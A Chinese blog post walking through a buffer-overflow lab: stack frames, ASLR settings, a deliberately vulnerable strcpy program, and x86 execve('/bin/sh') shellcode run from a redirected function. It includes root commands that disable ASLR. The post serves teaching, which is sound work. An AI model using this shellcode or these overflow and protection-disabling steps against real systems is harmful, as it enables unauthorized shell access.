[操作系统安全]缓冲区溢出

news2024/9/24 17:17:37

一、C栈帧结构

  1. 函数调用内存中的三个区域,代码区、静态数据区、动态数据区(压栈和清栈就是在这个区域完成的)。
  2. CPU中有三个寄存器,分别是eip、ebp和esp。eip永远指向代码区中将要执行的下一条指令,执行方式包括顺序执行和跳转;ebp和esp用于管理栈空间,ebp指向栈底,esp指向栈顶,代码区中的函数调用、返回和执行都伴随着不断的压栈和清栈,在调用函数时,ebp会指向Previous Frame Pointer以在执行函数之后返回到原来的地址。栈中数据存储和释放的原则:后进先出。

二、实验原理

  1. 1、缓冲区溢出是因为在程序执行时数据的长度超出了预先分配的空间大小,导致覆盖了其他数据的分配区域,从而执行非授权指令,获取信息,取得系统特权进而进行各种非法操作导致程序运行失败、系统宕机、重新启动等后果。普通的程序员由于失误导致的缓冲区溢出可能只会导致程序无法运行而不会影响系统,但是如果黑客使用构造好的数据来进行缓冲区溢出攻击则可能获得超级管理员权限,非常危险。
  2. 2、数据执行保护机制的开启与关闭
  3. ASLR 技术是一种针对缓冲区溢出的安全保护技术。
  4. ASLR功能等级:Linux系统中ASLR 技术分三个等级。如下:
  • 0:没有随机化。即关闭 ASLR。
  • 1:保留的随机化。共享库、栈、mmap() 以及 VDSO 将被随机化。
  • 2:完全的随机化。在 1 的基础上,通过 brk() 分配的内存空间也将被随机化。
  1. ASLR 功能关闭
  2. ASLR 的等级可以通过一个内核参数  randomize_va_space  来进行控制。
  3. 系统默认这个功能是开启的。有时候调试代码时,需要更改 ASLR 功能,可通过命令设置。
  4. 如果想关闭该功能,则可以输入如下命令即可关闭,注意需要 root 权限,命令如下:
echo 0 > /proc/sys/kernel/randomize_va_space

ASLR功能开启

echo 1 > /proc/sys/kernel/randomize_va_space

可通过命令查看当前系统的 ASLR 等级,操作如下:

cat /proc/sys/kernel/randomize_va_space

三、实验过程

1、首先我们要构造一个拥有缓冲区溢出漏洞的程序,代码如下:

#include <stdio.h>

#include <string.h>

char buffer[] = "01234567890123456789========ABCD";

void foo1(){

    printf("Run foo1() ,you are attacked !\n");

}

void foo()

{

       char buff[16];

   strcpy (buff, buffer);

   printf("Run foo() ....\n");

}

int main(int argc, char * argv[])

{

       foo();

   return 0;

}

找到foo1()函数的入口地址,并将该地址以存放在字符串存入缓存时溢出部位:ABCD,来引导该函数运行。

首先在打开数据执行保护的状态下,对其进行重新编译,并进行调试

可以看到由于打开数据执行保护,缓存溢出后会被检测到,并强制停止。

2、之后我们在关闭数据执行保护的状态下,对其进行编译,并进行调试

 

可以看到,虽然foo1()函数并没有被调用,但其仍然被执行了。

3、完成上面部分后,我们对foo1()函数进行设计,即设计shellcode部分。

shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制之机器码,以其经常让攻击者获得shell而得名。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机械码,让电脑可以执行攻击者的任意指令。

下面这段代码是通过C语言启动sh命令的程序,由于shellcode经常用机器编码编写,因此我们需要对其进行反编译得到机器码。

#include <stdio.h>

 

 int main()

 {

 char *name[2];

 name[0] = "/bin/sh";

 name[1] = NULL;

 execve(name[0], name, NULL);

 return 0;

 }

反编译后得到以下机器码:

        "\x31\xc0"              /* xor   %eax,%eax */

        "\x50"                  /* push   %eax */

        "\x68""//sh"                /* push   $0x68732f2f */

        "\x68""/bin"                /* push   $0x6e69622f */

        "\x89\xe3"              /* mov    %esp,%ebx */

        "\x50"                  /* push   %eax */

        "\x53"                  /* push   %ebx */

        "\x89\xe1"              /* mov    %esp,%ecx */

        "\x31\xd2"              /* xor    %edx, %edx */

        "\xb0\x0b"              /* movb    $0xb,%al */

        "\xcd\x80";             /* int     $0x80 */

将得到的机器码添加到foo1()函数中,并执行,即可将攻击代码注入。

#include <stdio.h>

#include <string.h>

char buffer[] = "01234567890123456789========\x00\x00\x11\xed";

void foo1(){

    printf("Run foo1() ,you are attacked !\n");

char shellcode[]=

        "\x31\xc0"              /* xor   %eax,%eax */

        "\x50"                  /* push   %eax */

        "\x68""//sh"                /* push   $0x68732f2f */

        "\x68""/bin"                /* push   $0x6e69622f */

        "\x89\xe3"              /* mov    %esp,%ebx */

        "\x50"                  /* push   %eax */

        "\x53"                  /* push   %ebx */

        "\x89\xe1"              /* mov    %esp,%ecx */

        "\x31\xd2"              /* xor    %edx, %edx */

        "\xb0\x0b"              /* movb    $0xb,%al */

        "\xcd\x80";             /* int     $0x80 */

    void (*fp)(void);

    fp = (void*)shellcode;

    fp();

    printf("Run foo1() ,you are attacked222 !\n");

}

void foo()

{

       char buff[16];

   strcpy (buff, buffer);

   printf("Run foo() ....\n");

}

int main(int argc, char * argv[])

{

       foo();

   return 0;

}

此时重新编译运行可以看到被攻击后进入shell命令行,攻击成功。

 

参考:

缓冲区溢出与数据执行保护DEP - kkqq的文章 - 知乎 https://zhuanlan.zhihu.com/p/500221354

Linux下 ASLR功能与 -no-pie 选项说明_no pie_凌雪舞的博客-CSDN博客

缓冲区溢出实验 - 小黑豆的文章 - 知乎 https://zhuanlan.zhihu.com/p/138620118

缓冲区溢出实验 - 在路上的文章 - 知乎 https://zhuanlan.zhihu.com/p/151814689

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/439690.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

NumberPicker分析(一)

NumberPicker分析(一) NumberPicker可实现连续滚动的字符串选择&#xff0c;其实现方式很有借鉴的意义 以最基本的使用方式为例&#xff0c;在layout中布局&#xff1a; <NumberPickerandroid:id"id/number_picker"android:layout_width"wrap_content"…

Visual Studio 2019 C# 上位机入门(1):制作一个简单应用

Visual Studio 2019下载安装步骤可以看&#xff1a;https://blog.csdn.net/weixin_44788542/article/details/114271126 这里不赘述&#xff0c;默认电脑上已经安装好了。 1、打开安装好的Visual Studio后&#xff0c;选择创建新项目。 2、找到选择C#下面的Windows 窗体应用&…

PCIe Protocol Basics

目录 1、PCIe Layered Architecture 2、Packet Movement 3、Simplified Layer Model 4、Layers and Packedt Generation 5、Detailed Layer Model 6、Transaction Layer 7、TransactionLayer Packet 8、TLP Header Overview 9、Data Link Layer 10、Data Link Layer Pa…

Vue 样式绑定

文章目录 Vue 样式绑定Vue classclass 属性绑定数组语法 Vue.js style(内联样式) Vue 样式绑定 Vue class class 与 style 是 HTML 元素的属性&#xff0c;用于设置元素的样式&#xff0c;我们可以用 v-bind 来设置样式属性。 Vue.js v-bind 在处理 class 和 style 时&#x…

php+vue+mysql医院医护人员医生排班系统

本医护人员排班系统管理员&#xff0c;医护。管理员功能有个人中心&#xff0c;医院信息管理&#xff0c;医护信息管理&#xff0c;医护类型管理&#xff0c;排班信息管理&#xff0c;排班类型管理&#xff0c;科室信息管理&#xff0c;投诉信息管理。医护人员可以修改自己的个…

Unity WebGL监听是否进入全屏模式

今天遇到一个需求打包成WebGL之后要当做一个iframe&#xff0c;嵌入到别的网页中&#xff0c;其中遇到两个难题。 1.要增加一个全屏模式。 2.全屏的时候使用unity中的title&#xff0c;非全屏的时候要使用网页本身的title。 全屏一开始使用webkitRequestFullScreen&#xff…

python+vue 家庭理财管理系统

本论文对家庭理财管理系统的发展背景进行详细的介绍&#xff0c;并且对系统开发技术进行介绍&#xff0c;然后对系统进行需求分析&#xff0c;对家庭理财管理系统业务流程、系统结构以及数据都进行详细说明。 1.系统功能完整性&#xff1a;根据系统每一个功能模块&#xff0c;都…

维度云工业品进销存ERP解决行业6大销售痛点

01 销售了多少?成本毛利多少? 如果不使用ERP软件进行管理&#xff0c;则需要手动记录和计算销售额和成本&#xff0c;并根据这些数据手动计算毛利润。这种方法可能会导致错误和时间浪费&#xff0c;并且很难应对规模扩大的情况。因此&#xff0c;通常建议企业使用专业的管理…

jenkins安装(Linux)

文章目录 请谨慎安装最新版本的jenkins1. Jenkins 介绍1.1 jenkins使用场景 2.jenkins下载2.1上传至Linux2.2 rpm安装jenkins2.3 修改jenkins配置2.3.1 修改内容 2.4 开放端口2.5 启动jenkins2.5.1 启动错误2.5.2 添加JAVA_HOME 2.6 jenkins配置添加自定义安装java目录2.7 Erro…

leetCode算法第一天

今天开始刷算法题&#xff0c;提升自己的算法思维和代码能力&#xff0c;加油&#xff01; 文章目录 无重复字符的最长子串最长回文子串N形变换字符串转换整数 无重复字符的最长子串 leetCode链接 https://leetcode.cn/problems/longest-substring-without-repeating-characte…

解决使用Auto-GPT本地部署时无法连接Google的问题和无法连接openai的问题

解决使用Auto-GPT本地部署时无法连接Google的问题 引言 在这篇博客文章中&#xff0c;我们将介绍如何解决使用Auto-GPT本地部署时遇到的无法访问Google的问题。文章的目标受众为编程者和AI工作者。 无法访问Google的问题 在使用Auto-GPT时&#xff0c;可能会遇到无法访问Go…

C++ :Lambda函数的浅学习

文章目录 前言一、lambda函数实例总结 前言 lambda表达式又被称之为lambda函数&#xff0c;是c11的新特性&#xff0c;下面我们看一下lambda表达式的参数等说明&#xff1a; [函数对象参数](操作符重载函数参数)mutable或exception声明->返回值类型{ 函数体 } 下面我们…

EFI Driver Model(下)-USB 驱动设计

1、USB简介 通用串行总线&#xff08;英语&#xff1a;Universal Serial Bus&#xff0c;缩写&#xff1a;USB&#xff09;是一种串口总线标准&#xff0c;也是一种输入输出接口的技术规范&#xff0c;被广泛地应用于个人电脑和移动设备等信息通讯产品&#xff0c;并扩展至摄影…

ZLMediaKit流媒体服务器 RTSP推流时候的堆栈

先直接看图 这是ffmpeg向流媒体服务器推流时候的堆栈 引入C 11之后 堆栈会显得特别繁复冗余 看起来 也没有 以前没有C11之前那样 简单明了 太复杂了 标记下 很多函数名字被我改了 因为原来的看起来 同名函数太多了 C11 和lambada 匿名函数 让看堆栈 成了地狱模式 断点断在…

线程安全和线程不安全之chatgpt理解

对“线程安全”和“线程不安全”&#xff0c;我之前的常规理解是&#xff1a;线程安全&#xff1a;多线程对同一个数据或者容器进行访问或者处理&#xff0c;不会导致数据出现同步问题。线程不安全&#xff1a;多线程对同一个数据或者容器进行访问或者处理&#xff0c;会出现同…

【深度学习】【部署】Flask快速部署深度学习模型【入门】

【深度学习】【部署】Flask快速部署深度学习模型【入门】 提示:博主取舍了很多大佬的博文并亲测有效,分享笔记邀大家共同学习讨论 文章目录 【深度学习】【部署】Flask快速部署深度学习模型【入门】前言搭建简单的Web服务搭建深度学习的Web服务win10下打包成exe(选看)总结 前言…

web后端-请求响应

概述 我们之前在Spring写的 Java类&#xff0c;因为没有继承任何的接口 所以tomcat其实是不识别的&#xff0c;也不能直接运行 但是tomcat识别JavaEE的一项规范-Servlet,因为tomcat就相当于一个Servlet容器 SpringBoot底层提供了一个DisPatcherServlet类(实现了servlet接口)…

C++入门篇(一)

目录 一、C关键字汇总二、命名空间2.1 命名空间的定义2.2 命名空间的使用 三、C的输入和输出四、缺省参数五、函数重载5.1 函数重载的概念5.2 C支持函数重载的原理是什么&#xff1f; 一、C关键字汇总 在C98标准下&#xff0c;C一共有63个关键字&#xff0c;C语言一共有32个关…

第二章 设计模式七大原则

文章目录 前言一、单一职责 &#x1f367;1、单一职责原则注意事项和细节2、代码实现2、1 错误示例2、2 正确示例但有缺陷2、3 最终形态 二、接口隔离原则 &#x1f969;1、代码示例 三、依赖倒转原则 &#x1f965;1、代码示例2、依赖关系传递的三种方式 四、里氏替换原则 &am…

【C 语言】习题 1 - 用代码将二进制转换为十进制

目录 1、缘起 2、算法描述 3、代码清单 4、相关知识点 5、总结 1、缘起 我以前计算二进制转换为十进制的时候&#xff0c;喜欢用笔算&#xff0c;或者电脑在手旁的时候&#xff0c;用电脑自带的程序员计算器进行计算。今天兴起&#xff0c;突然想写一个代码用于计算…